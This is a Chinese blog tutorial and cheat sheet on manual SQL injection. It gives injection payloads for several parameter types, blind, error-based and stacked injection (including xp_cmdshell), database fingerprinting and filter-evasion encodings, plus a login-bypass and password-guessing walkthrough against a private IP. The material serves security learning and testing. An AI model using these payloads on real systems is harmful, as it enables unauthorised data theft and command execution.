sql注入手工检测

2017年12月14日 09:36:16

1、基本检测

数字型

$id=@$_GET['id']; //id未经过滤
$sql = "SELECT * FROM sqltest WHERE id='$id'"; 判断
asp?id=49' //报错
asp?id=49 and 1=1
asp?id=49 and 1=2 判断什么型
?id=1%2b1 //加法减法,可区分数字还是字符型 数据库权限判断,判断root
and ord(mid(user(),1,1))=114 或
and (select count(*) from mysql.user)>0 //返回正常有读写 判断字段,字段一样返回正常,几个字段写几个null返回正常
php?id=1 and 1=1 union select 1,2,3,4,5 或
php?id=1 union select null,null,null.....
php?id=1 and 1=1 order by 3 强制返回记录
php?id=2 union select 1,2,3 limit 1,1
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22

字符型

$sql="select * from user where username = '$name'";  //php
select * from user where username = 'admin' //sql
$query="select first_name from users where id='$_GET['id']'"; //字符型
1' union select database() #; //输入
select first_name from users where id='1'union select database()#' //sql语句变形 判断
xx' and '1'=1--'
xx' and '1=2--' 猜字段
php?username=admin' union select 1,2,3,4 and '1'='1 猜对后是4个字段,替换相关回显位
php?username=admin' union select database(),version(),3,4 and '1'='1 猜表名
php?username=admin'+and+(select+count(*)+from+user)>0+and+''=' 猜密码
php?username=admin' and password='fendo
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21

搜索型

$sql="select * from user where password like '%$pwd%' order by password";
'and 1=1 and '%'=' //输入
select * from user where password like '%fendo'and 1=1 and '%'='%' order by password//sql语句 判断
'and 1=1 and '%'='
keyword' //报错,90存在
keyword% //报错,95存在
keyword% 'and 1=1 and '%'=' //
keyword% 'and 1=2 and '%'=' //
'and 1=1 and '%'='
%' and 1=1--'
%' and 1=1 and '%'=' 判断字段
%' union select 1,2,3,4,...... and '%'='
%' and exists (select id from user where LENGTH(username)<6 and id=1) and '%'=' //6是字段可更换,小于6说明字段数是5 判断表明
%'and(select count(*)from admin)>0 and '%'='
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20

POST注入

'   //看是否会报错,盲注不会报错
' or '1'='1'-- //用户名绕过
' or 1=1#
' order by 4#
'or 1=1 union select 1,2,3,4 # //猜表名和回显
'or 1=1 union select username,password,3,4 from user# //猜内容 实例
login.asp?name=admin'&pass=admin //出错,存在
login.asp?name=admin &pass=admin' and '1=1 //
login.asp?pass=admin&name=admin' and 1=1 and 'a'='a //
SELECT * FROM data Where uname='admin' and 1=1 and 'a'='a' //sql语句变成,此时正常登陆
可以正常运行的目标地址已经构造成功,此时可将1=1部分用SQL查询语句替代,依次对数据库表名、表中字段名、用户和密码长度、用户和密码进行测试 猜表,成功说明是data
http://172.18.3.13:81/login.asp?pass=admin&name=admin' and (select count(*) from data)>0 and 'a'='a
猜字段
http://172.18.3.13:81/login.asp?pass=admin&name=admin'and (select count(uname) from data)>0 and 'a'='a
猜密码长度
http://172.18.3.13:81/login.asp?pass=admin&name=admin' and (Select count(*) from data where uname='wucm' and len(upass)>1)>0 and 'a'='a
,成功,说明用户"wucm"的密码大于1, 继续猜测密码长度小于10
http://172.18.3.13:81/login.asp?pass=admin&name=admin' and (Select count(*) from data where uname='wucm' and len(upass)<10)>0 and 'a'='a
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24

布尔盲注

判断
http://localhost/index.php?id=2
http://localhost/index.php?id=2'
http://localhost/index.php?id=2''
http://localhost/index.php?id=2%23
http://localhost/index.php?id=2' and 1=1# 数据库长度
php?id=2' and length(database())>1%23 数据库名称
php?id=2' and ascii(substr(database(), {0}, 1))={1}%23 表长度
php?id=2' and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)>0 %23 表名
php?id=2' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1)), {0}, 1)={1}%23 获取字段个数和长度
php?id=2' and (select length(column_name) from information_schema.columns where table_name = 0x666C6167 limit 0,1)>0%23 字段名
php?id=2' and ascii(substr((select column_name from information_schema.columns where table_name = 0x666C6167 limit 0,1), {0}, 1))={1}%23
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24

报错注入

?id=2' and (select 1 from (select count(*),concat( floor(rand(0)*2),(select (select (爆错语句)) from information_schema.tables limit 0,1))x from information_schema.tables group by x )a)--+
  • 1
  • 1

堆叠注入

union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句

Mysql
select * from users where id=1;create table test like users; Sqlserver
select * from test;create table sc3(ss CHAR(8));
select * from test where id=1;exec master..xp_cmdshell 'ipconfig' Oracle 不支持
Postgresql 支持
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11

判断是什么数据库

常见的数据库Oracle、MySQL、SQL Server、Access、MSsql、mongodb等
关系型数据库:由二维表及其之间的联系组成的一个数据组织。如:Oracle、DB2、MySql 1.是否可以使用特定的函数来判断,该数据库特有的
len()函数:mssql、mysql、db2
length()函数:Oracle、informix
substring:mssql
substr:oracle
version()>1 返回与@@version>1 相同页面时,则可能是mysql。如果出现提示version()错误时,则可能是mssql。 2.是否可以使用辅助的符号来判断,如注释符号、多语句查询符等等
/* mysql特有注释符,返回错误说明不是mysql
-- 是Oracle和MSSQL支持的注释符,如果返回正常,则说明为这两种数据库类型之一。继续提交如下查询字符
; 是子句查询标识符,Oracle不支持多行查询,因此如果返回错误,则说明很可能是Oracle数据库。
;-- 在注入点后加分号、斜杠、斜杠,返回正常是mssql,返回错误是ACCESS 3.是否可以编码查询 4.是否显可以利用错信息
错误提示Microsoft JET Database Engine 错误 '80040e14',
JET是ACCESS数据库
ODBC是MSSQL数据库 5.是否存在数据库某些特性辅助判断
and exists (select count(*) from sysobjects) 返回正常是mssql
and exists (select count(*) from msysobjects) 两条,和上一条返回都不正常是ACCESS
如果是字符型,参数后加 ' 最后加 ;--
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27

2、绕过技巧

大小写

index.php?page_id=-15 uNIoN sELecT 1,2,3,4 
  • 1
  • 1

替换关键字

index.php?page_id=-15 UNIunionON SELselectECT 1,2,3,4
可替换and的词 或者=号
or、||(限mysql)、&&(限mysql)、xor、like、<、>
  • 1
  • 2
  • 3
  • 1
  • 2
  • 3

使用编码

1、URL编码,可以编码两次
page.php?id=1UNION 1,2,3,4,SELECT(extractvalue(0x3C613E61646D696E3C2F613E,0x2f61))
空格: 20%
#: %23
% %25
& %26
2、Unicode编码
单引号:%u0027、%u02b9、%u02bc、%u02c8、%u2032、%uff07、�'、�、�
空格:%u0020、%uff00、� 、�、�
左括号:%u0028、%uff08、�(、�、�
右括号:%u0029、%uff09、�)、�、�
举例:
?id=10�' AND 1=2#
SELECT 'Ä'='A'; #1
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14

注释和符号

常用注释
//, -- , , #, --+,-- -, ;--a
' or 1=1#
' or 1=11='1
' 1='1
常用前缀
+ – ~ !
' or –+2=- -!!!'2
常用操作符
^, =, !=, %, /, *, &, &&, |, ||, , >>, <=, <=, ,, XOR, DIV, LIKE, SOUNDS LIKE, RLIKE, REGEXP, LEAST, GREATEST, CAST, CONVERT, IS, IN, NOT, MATCH, AND, OR, BINARY, BETWEEN, ISNULL
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10

等价函数与命令

1.函数或变量
hex()、bin() ==> ascii()
sleep() ==>benchmark()
concat_ws()==>group_concat()
mid()、substr() ==> substring()
@@user ==> user()
@@datadir ==> datadir()
举例substring()和substr()无法使用时
?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74 
或者
substr((select 'password'),1,1) = 0x70
strcmp(left('password',1), 0x69) = 1
strcmp(left('password',1), 0x70) = 0
strcmp(left('password',1), 0x71) = -1
上述这几个示例用于说明有时候当某个函数不能使用时还可以找到其他的函数替代其实现至于select、uinon、where等关键字被限制如何处理将在后面filter部分讨论
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15

特殊符号

1.使用反引号`,例如select `version()`,可以用来过空格和正则,特殊情况下还可以将其做注释符用
2.神奇的"-+.",select+id-1+1.from users; “+”是用于字符串连接的,”-”和”.”在此也用于连接,可以逃过空格和关键字过滤
3.@符号,select@^1.from users; @用于变量定义如@var_name,一个@表示用户定义,@@表示系统变量
4.Mysql function() as xxx 也可不用as和空格   select-count(id)test from users; //绕过空格限制

常见SQL注入点判断的更多相关文章

  1. SQL注入-数据库判断

    0x01.sql注入 sql注入是在系统开发的过程中程序员编程不规范,我们可以通过把SQL语句插入到WEB表单中进行查询字符串,最终达成欺骗服务器执行恶意的SQL命令.对于现在的网站SQL注入越来越严 ...

  2. 常见sql注入的类型

    这里只讲解sql注入漏洞的基本类型,代码分析将放在另外一篇帖子讲解 目录 最基础的注入-union注入攻击 Boolean注入攻击-布尔盲注 报错注入攻击 时间注入攻击-时间盲注 堆叠查询注入攻击 二 ...

  3. XSS过滤JAVA过滤器filter 防止常见SQL注入

    Java项目中XSS过滤器的使用方法. 简单介绍: XSS : 跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets, CSS)的缩 ...

  4. ecshop常见sql注入修复(转)

    ecshop系统部署在阿里云服务器上,阿里云提示Web-CMS漏洞: 修复方法如下: 0. /good.php 大概在第80行 $goods_id = $_REQUEST['id']; 修改为 $go ...

  5. 常见sql注入的防范总结

    在平时的开发过程中,我们可能很少会刻意的去为项目做一个sql注入的防范,这是因为你可能因为使用了某些框架,而无意间已经有了对应sql注入的一些防范操作(比如mybatis使用#{XX}传参,属于预编译 ...

  6. 常见sql注入原理详解!

    1.首先我们创建一个mysqli的链接 /**数据库配置*/ $config = ['hostname'=>"localhost", 'port'=>"330 ...

  7. Sql注入之注入点类型和是否存在注入判断

    SQL注入之判断注入类型注入类型分为数字型和字符型和搜索型例如数字型语句:select * from table where id =3,则字符型如下:select * from table wher ...

  8. 转:PHP中防止SQL注入的方法

    [一.在服务器端配置] 安全,PHP代码编写是一方面,PHP的配置更是非常关键. 我们php手手工安装的,php的默认配置文件在 /usr/local/apache2/conf/php.ini,我们最 ...

  9. Sql注入基础原理介绍

    说明:文章所有内容均截选自实验楼教程[Sql注入基础原理介绍]~ 实验原理 Sql 注入攻击是通过将恶意的 Sql 查询或添加语句插入到应用的输入参数中,再在后台 Sql 服务器上解析执行进行的攻击, ...

随机推荐

  1. Python中列表逆序

    1.list.reverse() 该方法是直接在原来的列表里面将元素进行逆序排列,不需要创建新的副本用于存储结果. 这种方式,有好处也有坏处.好处是节省内存使用,因为我们不需要重新申请空间来保存最后的 ...

  2. Shell 筛选符合条件的 ELF 文件

    0 运行环境 本机系统:Windows 10 虚拟机软件:Oracle VM VirtualBox 6 虚拟机系统:Ubuntu 18 1 引言 - 编译过程 我们知道在 CPU 上执行的是低级别的机 ...

  3. Spring Boot 创建 Docker 镜像

    随着越来越多的组织转向容器和虚拟服务器,Docker正成为软件开发工作流程中一个更重要的部分.为此,Spring Boot 2.3中最新的功能之中,提供了为Spring Boot应用程序创建 Dock ...

  4. centos 升级内核并安装对应kernel-devel

    内核包使用ELReo提供 1.准备ELRepo (1)检测ELRepo是否安装 yum --disablerepo="*" --enablerepo="elrepo-ke ...

  5. Flink处理函数实战之二:ProcessFunction类

    欢迎访问我的GitHub https://github.com/zq2599/blog_demos 内容:所有原创文章分类汇总及配套源码,涉及Java.Docker.Kubernetes.DevOPS ...

  6. 入坑 docsify,一款神奇的文档生成利器!

    layout: postcategory: javatitle: 入坑 docsify,一款神奇的文档生成利器!tagline: by 沉默王二tags: - java Guide 哥是我认识的一个非 ...

  7. BRT快速公交系统的可视化实践

    前言 随着城市进程的加快,中国城市机动车的数量飞速增长,造成城市交通拥堵问题越来越严重,城市居民对于改善出行条件的需求尤其是公共交通的便捷性问题也越来越迫切.而BRT(快速公交系统)作为一种新型的客运 ...

  8. PHP 使用gd库给图片加图片水印,文字水印,并返回路径

    //图片水印 $mark_filename = './02.jpg'; //获取图片信息 $info = getimagesize($mark_filename); //获取图片的后缀 $type = ...

  9. [从源码学设计]蚂蚁金服SOFARegistry之网络封装和操作

    [从源码学设计]蚂蚁金服SOFARegistry之网络封装和操作 目录 [从源码学设计]蚂蚁金服SOFARegistry之网络封装和操作 0x00 摘要 0x01 业务领域 1.1 SOFARegis ...

  10. 制作视频教程,用Camtasia你也可以

    一直以来,每当我在电脑使用过程中有不会的地方,往往我就会通过百度或者b站寻找教程,尤其是视频教程来学习,这样我往往就可以快速的学会相应的操作.当朋友在qq或者微信问我们一些操作时,我们却不能向他们提供 ...